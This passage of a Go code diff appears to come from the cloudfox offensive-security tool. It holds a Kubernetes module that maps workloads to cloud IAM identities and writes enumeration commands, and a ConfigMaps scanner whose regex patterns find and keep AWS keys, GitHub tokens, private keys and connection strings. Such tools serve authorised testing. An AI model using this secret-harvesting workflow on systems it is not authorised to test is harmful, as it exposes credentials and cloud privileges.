IdentityType: "Managed Identity (AAD Pod Identity)",
|
||||
Source: fmt.Sprintf("CRD: AzureIdentityBinding (selector: %s)", selector),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func lookupAzureIdentityClientID(ctx context.Context, dynamicClient dynamic.Interface, namespace, name string) string {
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: "aadpodidentity.k8s.io",
|
||||
Version: "v1",
|
||||
Resource: "azureidentities",
|
||||
}
|
||||
|
||||
// Try namespace-scoped first
|
||||
identity, err := dynamicClient.Resource(gvr).Namespace(namespace).Get(ctx, name, metav1.GetOptions{})
|
||||
if err != nil {
|
||||
// Try cluster-scoped
|
||||
identity, err = dynamicClient.Resource(gvr).Get(ctx, name, metav1.GetOptions{})
|
||||
if err != nil {
|
||||
return name // Return the reference name if lookup fails
|
||||
}
|
||||
}
|
||||
|
||||
spec, found, _ := getNestedMapCloudIAM(identity.Object, "spec")
|
||||
if !found {
|
||||
return name
|
||||
}
|
||||
|
||||
clientID := getNestedStringCloudIAM(spec, "clientID")
|
||||
if clientID != "" {
|
||||
return clientID
|
||||
}
|
||||
|
||||
resourceID := getNestedStringCloudIAM(spec, "resourceID")
|
||||
if resourceID != "" {
|
||||
return resourceID
|
||||
}
|
||||
|
||||
return name
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
func extractAWSNodeRole(providerID string, labels, annotations map[string]string) string {
|
||||
// Check common AWS node labels/annotations for IAM role info
|
||||
roleLabels := []string{
|
||||
"iam.amazonaws.com/role",
|
||||
"eks.amazonaws.com/nodegroup",
|
||||
"alpha.eksctl.io/iamidentitymapping",
|
||||
}
|
||||
for _, label := range roleLabels {
|
||||
if role, ok := labels[label]; ok && role != "" {
|
||||
return role
|
||||
}
|
||||
if role, ok := annotations[label]; ok && role != "" {
|
||||
return role
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func extractGCPNodeServiceAccount(labels, annotations map[string]string) string {
|
||||
// Check for GCP service account in labels/annotations
|
||||
saLabels := []string{
|
||||
"iam.gke.io/gke-metadata-server-enabled",
|
||||
"cloud.google.com/gke-nodepool",
|
||||
}
|
||||
for _, label := range saLabels {
|
||||
if sa, ok := labels[label]; ok && sa != "" {
|
||||
return sa
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func extractAzureNodeIdentity(labels, annotations map[string]string) string {
|
||||
// Check for Azure managed identity in labels/annotations
|
||||
miLabels := []string{
|
||||
"kubernetes.azure.com/managed-identity-client-id",
|
||||
"aadpodidentity.k8s.io/assigned-identity",
|
||||
}
|
||||
for _, label := range miLabels {
|
||||
if mi, ok := labels[label]; ok && mi != "" {
|
||||
return mi
|
||||
}
|
||||
if mi, ok := annotations[label]; ok && mi != "" {
|
||||
return mi
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getNodeIdentityType(provider string) string {
|
||||
switch provider {
|
||||
case "AWS":
|
||||
return "Instance Profile / IAM Role"
|
||||
case "GCP":
|
||||
return "Node Service Account"
|
||||
case "Azure":
|
||||
return "Node Managed Identity"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
}
|
||||
|
||||
func getIdentityTypeFromProvider(provider string) string {
|
||||
switch provider {
|
||||
case "AWS":
|
||||
return "IAM Role"
|
||||
case "GCP":
|
||||
return "Service Account"
|
||||
case "Azure":
|
||||
return "Managed Identity"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
}
|
||||
|
||||
func getControllerInfo(pod *corev1.Pod) (string, string) {
|
||||
for _, ref := range pod.OwnerReferences {
|
||||
if ref.Controller != nil && *ref.Controller {
|
||||
return ref.Kind, ref.Name
|
||||
}
|
||||
}
|
||||
return "", ""
|
||||
}
|
||||
|
||||
func checkAWSPodIdentityForSA(ctx context.Context, dynamicClient dynamic.Interface, namespace, saName string) struct{ Name, RoleARN string } {
|
||||
result := struct{ Name, RoleARN string }{}
|
||||
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: "eks.amazonaws.com",
|
||||
Version: "v1alpha1",
|
||||
Resource: "podidentityassociations",
|
||||
}
|
||||
|
||||
list, err := dynamicClient.Resource(gvr).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
for _, item := range list.Items {
|
||||
spec, found, _ := getNestedMapCloudIAM(item.Object, "spec")
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
|
||||
itemNS := getNestedStringCloudIAM(spec, "namespace")
|
||||
if itemNS == "" {
|
||||
itemNS = item.GetNamespace()
|
||||
}
|
||||
itemSA := getNestedStringCloudIAM(spec, "serviceAccountName")
|
||||
roleARN := getNestedStringCloudIAM(spec, "roleArn")
|
||||
|
||||
if itemNS == namespace && itemSA == saName && roleARN != "" {
|
||||
result.Name = item.GetName()
|
||||
result.RoleARN = roleARN
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func getNestedMapCloudIAM(obj map[string]interface{}, key string) (map[string]interface{}, bool, error) {
|
||||
val, ok := obj[key]
|
||||
if !ok {
|
||||
return nil, false, nil
|
||||
}
|
||||
m, ok := val.(map[string]interface{})
|
||||
return m, ok, nil
|
||||
}
|
||||
|
||||
func getNestedStringCloudIAM(obj map[string]interface{}, key string) string {
|
||||
val, ok := obj[key]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
s, ok := val.(string)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func deduplicateCloudIAMFindings(findings []CloudIAMFinding) []CloudIAMFinding {
|
||||
seen := make(map[string]bool)
|
||||
var result []CloudIAMFinding
|
||||
|
||||
for _, f := range findings {
|
||||
// Create a unique key based on resource + cloud identity
|
||||
key := fmt.Sprintf("%s|%s|%s|%s|%s", f.Namespace, f.ResourceType, f.ResourceName, f.CloudProvider, f.CloudIdentity)
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
result = append(result, f)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func generateCloudIAMOutput(findings []CloudIAMFinding, logger *internal.Logger) CloudIAMOutput {
|
||||
var output CloudIAMOutput
|
||||
|
||||
// Table headers
|
||||
headers := []string{
|
||||
"Scope",
|
||||
"Namespace",
|
||||
"Resource Type",
|
||||
"Resource Name",
|
||||
"Cloud Provider",
|
||||
"Identity Type",
|
||||
"Cloud Identity",
|
||||
"Source",
|
||||
}
|
||||
|
||||
var rows [][]string
|
||||
for _, f := range findings {
|
||||
namespace := f.Namespace
|
||||
if namespace == "" {
|
||||
namespace = "-"
|
||||
}
|
||||
|
||||
rows = append(rows, []string{
|
||||
f.Scope,
|
||||
namespace,
|
||||
f.ResourceType,
|
||||
f.ResourceName,
|
||||
f.CloudProvider,
|
||||
f.IdentityType,
|
||||
f.CloudIdentity,
|
||||
f.Source,
|
||||
})
|
||||
}
|
||||
|
||||
output.Table = append(output.Table, internal.TableFile{
|
||||
Name: "cloud-iam",
|
||||
Header: headers,
|
||||
Body: rows,
|
||||
})
|
||||
|
||||
// Generate loot files
|
||||
output.Loot = generateCloudIAMLoot(findings)
|
||||
|
||||
return output
|
||||
}
|
||||
|
||||
func generateCloudIAMLoot(findings []CloudIAMFinding) []internal.LootFile {
|
||||
var lootFiles []internal.LootFile
|
||||
var lootContent []string
|
||||
|
||||
lootContent = append(lootContent, "# Cloud IAM Identity Mappings")
|
||||
lootContent = append(lootContent, "# Generated by cloudfox kubernetes cloud-iam")
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
// Group by provider
|
||||
awsFindings := filterByProvider(findings, "AWS")
|
||||
gcpFindings := filterByProvider(findings, "GCP")
|
||||
azureFindings := filterByProvider(findings, "Azure")
|
||||
|
||||
if len(awsFindings) > 0 {
|
||||
lootContent = append(lootContent, "## AWS IAM Roles")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, f := range awsFindings {
|
||||
lootContent = append(lootContent, fmt.Sprintf("### %s: %s/%s", f.ResourceType, f.Namespace, f.ResourceName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Role ARN: %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Identity Type: %s", f.IdentityType))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Source: %s", f.Source))
|
||||
if f.ServiceAccount != "" {
|
||||
lootContent = append(lootContent, fmt.Sprintf("Service Account: %s", f.ServiceAccount))
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
// Add AWS CLI commands to enumerate role
|
||||
if strings.HasPrefix(f.CloudIdentity, "arn:aws:iam::") {
|
||||
roleName := extractRoleNameFromARN(f.CloudIdentity)
|
||||
if roleName != "" {
|
||||
lootContent = append(lootContent, "# Enumerate AWS IAM role:")
|
||||
lootContent = append(lootContent, fmt.Sprintf("aws iam get-role --role-name %s", roleName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("aws iam list-attached-role-policies --role-name %s", roleName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("aws iam list-role-policies --role-name %s", roleName))
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(gcpFindings) > 0 {
|
||||
lootContent = append(lootContent, "## GCP Service Accounts")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, f := range gcpFindings {
|
||||
lootContent = append(lootContent, fmt.Sprintf("### %s: %s/%s", f.ResourceType, f.Namespace, f.ResourceName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Service Account: %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Identity Type: %s", f.IdentityType))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Source: %s", f.Source))
|
||||
if f.ServiceAccount != "" {
|
||||
lootContent = append(lootContent, fmt.Sprintf("K8s Service Account: %s", f.ServiceAccount))
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
// Add gcloud commands
|
||||
if strings.Contains(f.CloudIdentity, "@") && strings.Contains(f.CloudIdentity, ".iam.gserviceaccount.com") {
|
||||
lootContent = append(lootContent, "# Enumerate GCP service account:")
|
||||
lootContent = append(lootContent, fmt.Sprintf("gcloud iam service-accounts describe %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, fmt.Sprintf("gcloud iam service-accounts get-iam-policy %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(azureFindings) > 0 {
|
||||
lootContent = append(lootContent, "## Azure Managed Identities")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, f := range azureFindings {
|
||||
lootContent = append(lootContent, fmt.Sprintf("### %s: %s/%s", f.ResourceType, f.Namespace, f.ResourceName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Client ID: %s", f.CloudIdentity))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Identity Type: %s", f.IdentityType))
|
||||
lootContent = append(lootContent, fmt.Sprintf("Source: %s", f.Source))
|
||||
if f.ServiceAccount != "" {
|
||||
lootContent = append(lootContent, fmt.Sprintf("K8s Service Account: %s", f.ServiceAccount))
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
// Add Azure CLI commands
|
||||
lootContent = append(lootContent, "# Enumerate Azure managed identity:")
|
||||
lootContent = append(lootContent, "az identity list --query \"[?clientId=='"+f.CloudIdentity+"']\"")
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "cloud-iam-mappings.md",
|
||||
Contents: strings.Join(lootContent, "\n"),
|
||||
})
|
||||
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
func filterByProvider(findings []CloudIAMFinding, provider string) []CloudIAMFinding {
|
||||
var result []CloudIAMFinding
|
||||
for _, f := range findings {
|
||||
if f.CloudProvider == provider {
|
||||
result = append(result, f)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func extractRoleNameFromARN(arn string) string {
|
||||
// arn:aws:iam::123456789012:role/my-role-name
|
||||
parts := strings.Split(arn, "/")
|
||||
if len(parts) >= 2 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
// Try extracting after :role/
|
||||
if strings.Contains(arn, ":role/") {
|
||||
parts := strings.Split(arn, ":role/")
|
||||
if len(parts) == 2 {
|
||||
return parts[1]
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func printCloudIAMSummary(findings []CloudIAMFinding, logger *internal.Logger) {
|
||||
// Count by provider
|
||||
providerCounts := make(map[string]int)
|
||||
resourceTypeCounts := make(map[string]int)
|
||||
|
||||
for _, f := range findings {
|
||||
providerCounts[f.CloudProvider]++
|
||||
resourceTypeCounts[f.ResourceType]++
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Found %d cloud IAM identity mappings", len(findings)), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
|
||||
// Provider breakdown
|
||||
var providerSummary []string
|
||||
for provider, count := range providerCounts {
|
||||
providerSummary = append(providerSummary, fmt.Sprintf("%s: %d", provider, count))
|
||||
}
|
||||
sort.Strings(providerSummary)
|
||||
logger.InfoM(fmt.Sprintf("By provider: %s", strings.Join(providerSummary, ", ")), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
|
||||
// Resource type breakdown
|
||||
var resourceSummary []string
|
||||
for resourceType, count := range resourceTypeCounts {
|
||||
resourceSummary = append(resourceSummary, fmt.Sprintf("%s: %d", resourceType, count))
|
||||
}
|
||||
sort.Strings(resourceSummary)
|
||||
logger.InfoM(fmt.Sprintf("By resource: %s", strings.Join(resourceSummary, ", ")), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
}
|
||||
@@ -0,0 +1,957 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
)
|
||||
|
||||
var ConfigMapsCmd = &cobra.Command{
|
||||
Use: "configmaps",
|
||||
Aliases: []string{"cm"},
|
||||
Short: "List all cluster ConfigMaps",
|
||||
Long: `
|
||||
List all cluster ConfigMaps and detailed information:
|
||||
cloudfox kubernetes configmaps`,
|
||||
Run: ListConfigMaps,
|
||||
}
|
||||
|
||||
type ConfigMapsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t ConfigMapsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t ConfigMapsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type ConfigMapFinding struct {
|
||||
Namespace string
|
||||
Name string
|
||||
SensitiveKeys []string
|
||||
DangerousPatterns []string
|
||||
AWSCredentials []string
|
||||
GCPCredentials []string
|
||||
GitHubTokens []string
|
||||
PrivateKeys []string
|
||||
Base64Secrets []string
|
||||
ConnectionStrings []string
|
||||
DockerCredentials []string
|
||||
KubeconfigFound bool
|
||||
MountedByPods []string
|
||||
UsageCount int
|
||||
DataSize int
|
||||
DataKeys []string
|
||||
CreationTimestamp string
|
||||
IsImmutable bool
|
||||
Annotations map[string]string
|
||||
CredentialFindings []CredentialFinding
|
||||
}
|
||||
|
||||
type CredentialFinding struct {
|
||||
Type string // "AWS", "GCP", "GitHub", "PrivateKey", etc.
|
||||
Key string // ConfigMap key where found
|
||||
Value string // Actual credential (truncated for display)
|
||||
FullValue string // Full credential value
|
||||
Description string // What this credential is
|
||||
}
|
||||
|
||||
func ListConfigMaps(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
// Extract global flags
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating configmaps for %s", globals.ClusterName), globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Get all pods using cache for mounting analysis
|
||||
allPods, err := sdk.GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "pods", "", err, globals.K8S_CONFIGMAPS_MODULE_NAME, false)
|
||||
allPods = []corev1.Pod{}
|
||||
}
|
||||
|
||||
// Get all ConfigMaps using cache
|
||||
allConfigMaps, err := sdk.GetConfigMaps(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "configmaps", "", err, globals.K8S_CONFIGMAPS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
// Table 1: ConfigMaps Summary
|
||||
summaryHeaders := []string{
|
||||
"Namespace", "Name", "Keys Count", "Data Size", "Pods Mounted", "Immutable", "Has Sensitive Data", "Created",
|
||||
}
|
||||
|
||||
// Table 2: ConfigMap-Keys Detail (one row per configmap/key/pod combination)
|
||||
keysHeaders := []string{
|
||||
"Namespace", "ConfigMap", "Key Name", "Mounted By Pod", "Value Size", "Detected Pattern", "Detected Value",
|
||||
}
|
||||
|
||||
var summaryRows [][]string
|
||||
var keysRows [][]string
|
||||
var findings []ConfigMapFinding
|
||||
|
||||
for _, cm := range allConfigMaps {
|
||||
// Perform comprehensive security analysis
|
||||
finding := analyzeConfigMapSecurity(&cm)
|
||||
|
||||
// Find pods mounting this ConfigMap using pre-fetched pods
|
||||
finding.MountedByPods = findPodsMountingConfigMapCached(allPods, cm.Namespace, cm.Name)
|
||||
finding.UsageCount = len(finding.MountedByPods)
|
||||
|
||||
findings = append(findings, finding)
|
||||
|
||||
// Build summary table row
|
||||
immutableStr := "No"
|
||||
if finding.IsImmutable {
|
||||
immutableStr = "Yes"
|
||||
}
|
||||
|
||||
hasSensitiveData := "No"
|
||||
if len(finding.DangerousPatterns) > 0 || len(finding.SensitiveKeys) > 0 {
|
||||
hasSensitiveData = "Yes"
|
||||
}
|
||||
|
||||
summaryRow := []string{
|
||||
finding.Namespace,
|
||||
finding.Name,
|
||||
fmt.Sprintf("%d", len(finding.DataKeys)),
|
||||
fmt.Sprintf("%d bytes", finding.DataSize),
|
||||
fmt.Sprintf("%d", finding.UsageCount),
|
||||
immutableStr,
|
||||
hasSensitiveData,
|
||||
finding.CreationTimestamp,
|
||||
}
|
||||
summaryRows = append(summaryRows, summaryRow)
|
||||
|
||||
// Build keys table rows - one row per (configmap, key, pod) combination
|
||||
keyPatterns := buildKeyPatternMap(&cm, finding)
|
||||
|
||||
// Build key -> detected value map from credential findings
|
||||
keyValues := make(map[string]string)
|
||||
for _, cf := range finding.CredentialFindings {
|
||||
if _, exists := keyValues[cf.Key]; !exists {
|
||||
keyValues[cf.Key] = cf.Value
|
||||
}
|
||||
}
|
||||
|
||||
if len(finding.MountedByPods) == 0 {
|
||||
for _, keyName := range finding.DataKeys {
|
||||
valueSize := len(cm.Data[keyName])
|
||||
detectedPattern := keyPatterns[keyName]
|
||||
if detectedPattern == "" {
|
||||
detectedPattern = "-"
|
||||
}
|
||||
detectedValue := keyValues[keyName]
|
||||
if detectedValue == "" {
|
||||
if detectedPattern == "Sensitive Keyword" {
|
||||
detectedValue = "Check Config"
|
||||
} else {
|
||||
detectedValue = "-"
|
||||
}
|
||||
}
|
||||
|
||||
keysRows = append(keysRows, []string{
|
||||
finding.Namespace, finding.Name, keyName, "-",
|
||||
fmt.Sprintf("%d bytes", valueSize),
|
||||
detectedPattern, detectedValue,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
for _, keyName := range finding.DataKeys {
|
||||
valueSize := len(cm.Data[keyName])
|
||||
detectedPattern := keyPatterns[keyName]
|
||||
if detectedPattern == "" {
|
||||
detectedPattern = "-"
|
||||
}
|
||||
detectedValue := keyValues[keyName]
|
||||
if detectedValue == "" {
|
||||
if detectedPattern == "Sensitive Keyword" {
|
||||
detectedValue = "Check Config"
|
||||
} else {
|
||||
detectedValue = "-"
|
||||
}
|
||||
}
|
||||
|
||||
for _, podName := range finding.MountedByPods {
|
||||
keysRows = append(keysRows, []string{
|
||||
finding.Namespace, finding.Name, keyName, podName,
|
||||
fmt.Sprintf("%d bytes", valueSize),
|
||||
detectedPattern, detectedValue,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
summaryTable := internal.TableFile{
|
||||
Name: "ConfigMaps",
|
||||
Header: summaryHeaders,
|
||||
Body: summaryRows,
|
||||
}
|
||||
|
||||
keysTable := internal.TableFile{
|
||||
Name: "ConfigMap-Keys",
|
||||
Header: keysHeaders,
|
||||
Body: keysRows,
|
||||
}
|
||||
|
||||
// Generate loot files
|
||||
lootFiles := generateConfigMapLoot(findings, allConfigMaps, outputDirectory)
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"ConfigMaps",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
ConfigMapsOutput{
|
||||
Table: []internal.TableFile{summaryTable, keysTable},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(summaryRows) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d configmaps found, %d key entries", len(summaryRows), len(keysRows)), globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No configmaps found, skipping output file creation", globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_CONFIGMAPS_MODULE_NAME), globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// detectAWSCredentials checks for AWS access keys and secret keys
|
||||
func detectAWSCredentials(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
// AWS Access Key ID pattern: AKIA[0-9A-Z]{16}
|
||||
accessKeyPattern := regexp.MustCompile(`AKIA[0-9A-Z]{16}`)
|
||||
// AWS Secret Access Key pattern: 40 characters base64-like
|
||||
secretKeyPattern := regexp.MustCompile(`[A-Za-z0-9/+=]{40}`)
|
||||
|
||||
for key, value := range data {
|
||||
if match := accessKeyPattern.FindString(value); match != "" {
|
||||
findings = append(findings, fmt.Sprintf("AWS Access Key in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "AWS", Key: key, Value: match, FullValue: match, Description: "AWS Access Key ID"})
|
||||
}
|
||||
lowerKey := strings.ToLower(key)
|
||||
if (strings.Contains(lowerKey, "aws") && strings.Contains(lowerKey, "secret")) ||
|
||||
strings.Contains(lowerKey, "aws_secret_access_key") {
|
||||
if match := secretKeyPattern.FindString(value); match != "" {
|
||||
findings = append(findings, fmt.Sprintf("AWS Secret Key in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "AWS", Key: key, Value: match, FullValue: match, Description: "AWS Secret Access Key"})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectGCPCredentials checks for GCP service account JSON keys
|
||||
func detectGCPCredentials(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
for key, value := range data {
|
||||
var jsonData map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(value), &jsonData); err == nil {
|
||||
if _, hasPrivateKeyID := jsonData["private_key_id"]; hasPrivateKeyID {
|
||||
if _, hasPrivateKey := jsonData["private_key"]; hasPrivateKey {
|
||||
if clientEmail, hasClientEmail := jsonData["client_email"]; hasClientEmail {
|
||||
findings = append(findings, fmt.Sprintf("GCP Service Account Key in '%s'", key))
|
||||
email, _ := clientEmail.(string)
|
||||
creds = append(creds, CredentialFinding{Type: "GCP", Key: key, Value: email, FullValue: value, Description: "GCP Service Account Key"})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectGitHubTokens checks for GitHub personal access tokens
|
||||
func detectGitHubTokens(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
patterns := []struct {
|
||||
regex *regexp.Regexp
|
||||
desc string
|
||||
}{
|
||||
{regexp.MustCompile(`ghp_[a-zA-Z0-9]{36}`), "GitHub Personal Access Token"},
|
||||
{regexp.MustCompile(`gho_[a-zA-Z0-9]{36}`), "GitHub OAuth Token"},
|
||||
{regexp.MustCompile(`ghs_[a-zA-Z0-9]{36}`), "GitHub Server Token"},
|
||||
{regexp.MustCompile(`github_pat_[a-zA-Z0-9_]{82}`), "GitHub Fine-grained PAT"},
|
||||
{regexp.MustCompile(`ghr_[a-zA-Z0-9]{36}`), "GitHub Refresh Token"},
|
||||
}
|
||||
|
||||
for key, value := range data {
|
||||
for _, pattern := range patterns {
|
||||
if match := pattern.regex.FindString(value); match != "" {
|
||||
findings = append(findings, fmt.Sprintf("%s in '%s'", pattern.desc, key))
|
||||
creds = append(creds, CredentialFinding{Type: "GitHub", Key: key, Value: match, FullValue: match, Description: pattern.desc})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectPrivateKeys checks for PEM-encoded private keys
|
||||
func detectPrivateKeys(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
privateKeyPatterns := []string{
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
|
||||
}
|
||||
|
||||
for key, value := range data {
|
||||
for _, pattern := range privateKeyPatterns {
|
||||
if strings.Contains(value, pattern) {
|
||||
findings = append(findings, fmt.Sprintf("Private Key in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "PrivateKey", Key: key, Value: pattern, FullValue: value, Description: pattern})
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectConnectionStrings checks for database and service URLs with credentials
|
||||
func detectConnectionStrings(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
patterns := []struct {
|
||||
regex *regexp.Regexp
|
||||
desc string
|
||||
}{
|
||||
{regexp.MustCompile(`postgres://[^:]+:[^@]+@[^\s]+`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`mysql://[^:]+:[^@]+@[^\s]+`), "MySQL"},
|
||||
{regexp.MustCompile(`mongodb://[^:]+:[^@]+@[^\s]+`), "MongoDB"},
|
||||
{regexp.MustCompile(`redis://[^:]+:[^@]+@[^\s]+`), "Redis"},
|
||||
{regexp.MustCompile(`amqp://[^:]+:[^@]+@[^\s]+`), "AMQP/RabbitMQ"},
|
||||
{regexp.MustCompile(`Server=[^;]+;.*Password=[^;]+`), "SQL Server"},
|
||||
}
|
||||
|
||||
for key, value := range data {
|
||||
for _, pattern := range patterns {
|
||||
if match := pattern.regex.FindString(value); match != "" {
|
||||
findings = append(findings, fmt.Sprintf("%s Connection String in '%s'", pattern.desc, key))
|
||||
creds = append(creds, CredentialFinding{Type: "ConnString", Key: key, Value: match, FullValue: match, Description: pattern.desc + " Connection String"})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectBase64Secrets attempts to decode base64 values and analyze content
|
||||
func detectBase64Secrets(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
base64Pattern := regexp.MustCompile(`^[A-Za-z0-9+/]{20,}={0,2}$`)
|
||||
|
||||
for key, value := range data {
|
||||
if strings.Contains(value, "-----BEGIN") {
|
||||
continue
|
||||
}
|
||||
|
||||
if base64Pattern.MatchString(value) && len(value) > 20 {
|
||||
decoded, err := base64.StdEncoding.DecodeString(value)
|
||||
if err == nil {
|
||||
decodedStr := string(decoded)
|
||||
lowerDecoded := strings.ToLower(decodedStr)
|
||||
if strings.Contains(lowerDecoded, "password") ||
|
||||
strings.Contains(lowerDecoded, "secret") ||
|
||||
strings.Contains(lowerDecoded, "token") ||
|
||||
strings.Contains(lowerDecoded, "api") ||
|
||||
strings.Contains(decodedStr, "-----BEGIN") {
|
||||
findings = append(findings, fmt.Sprintf("Base64-encoded Secret in '%s'", key))
|
||||
